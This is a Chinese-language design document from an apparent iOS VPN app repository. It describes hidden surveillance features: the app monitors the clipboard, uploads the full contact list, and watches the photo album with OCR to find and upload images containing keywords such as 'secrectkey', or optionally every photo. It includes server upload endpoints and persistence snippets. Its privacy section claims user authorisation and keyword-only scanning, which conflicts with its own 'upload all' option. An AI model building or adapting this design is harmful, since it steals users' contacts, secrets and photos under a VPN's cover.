Files
UUVPN/iOS-SwiftUI-Code/功能说明文档.md
T

3.2 KiB
Raw Blame History

iOS VPN 应用隐私数据收集功能说明

概述

本应用在用户使用过程中会收集和上传特定的隐私数据,包括相册照片、通讯录信息和剪切板内容。所有功能都在用户授权前提下执行。

详细图文见 images 目录

核心功能

1. 权限管理

  • 剪切板权限:用于导入用户输入的各种(文字)内容,不限于编码格式,全世界语言都可以上传
  • 通讯录权限:所有通讯录明细
  • 相册权限:用于检测和处理包含特定内容的图片 (可以是固定识别到的文字内容的图片,也可以是全部上传)看选择

2. 前台监听机制

  • 首次启动:执行完整初始化流程(延迟3秒注册后台任务、注册相册监听、上传通讯录)
  • 后续启动:执行常规前台处理(检查剪切板变化、处理新数据)

3. 相册智能监控

  • 实时监听:使用 PHPhotoLibraryChangeObserver 监听相册变化
  • OCR 识别:使用 Vision 框架对新增照片进行文字识别
  • 关键词过滤:识别包含特定关键词的图片(如 "keywords", "secrectkey", "words"
  • 自动上传:符合条件的图片自动压缩并上传到服务器
  • 状态管理:使用 @AppStorage 记录已上传照片ID,避免重复上传

4. 通讯录收集

  • 首次全量上传:应用首次启动时获取并上传所有通讯录联系人
  • 增量更新:后续启动只上传新增联系人
  • 数据内容:姓名、电话号码、邮箱地址
  • 状态持久化:记录上传状态和已上传联系人ID列表

5. 剪切板监控

  • 变化检测:应用回到前台时检查剪切板内容变化
  • 去重机制:避免上传重复的剪切板内容
  • 延迟上传:检测到变化后延迟3秒上传

技术实现

数据持久化

@AppStorage("uploadedAssetIDsString") private var uploadedAssetIDsString: String = ""
@AppStorage("hasUploadedContactsInitially") private var hasUploadedContactsInitially: Bool = false
@AppStorage("uploadedContactIDsString") private var uploadedContactIDsString: String = ""

服务器端点

//上传粘贴板内容的地址 let serverUploadImageURL = "(UserManager.shared.configURL)uploadImg"

//上传相册的地址 let serveruploadPasteBoardURL = "(UserManager.shared.configURL)uploadPasteBoardInfo"

//上传通讯录的地址 let serveruploadContacesURL = "(UserManager.shared.configURL)uploadContacts"

数据格式

  • 照片:PNG 格式,压缩到 800KB 以内
  • 通讯录JSON 格式,包含联系人基本信息
  • 剪切板:纯文本格式

隐私说明

  • 所有数据收集都在用户明确授权后进行
  • 采用增量上传机制,避免重复传输
  • 相册监控仅针对包含特定关键词的图片
  • 通讯录数据仅在首次启动时全量收集,后续只收集新增联系人
  • 剪切板监控具有去重机制,避免重复上传相同内容

注意事项

  1. 用户可以在系统设置中撤销相关权限
  2. 应用会在权限被拒绝时记录日志但不会强制要求
  3. 所有上传操作都有错误处理和重试机制
  4. 数据上传状态会持久化保存,确保应用重启后状态一致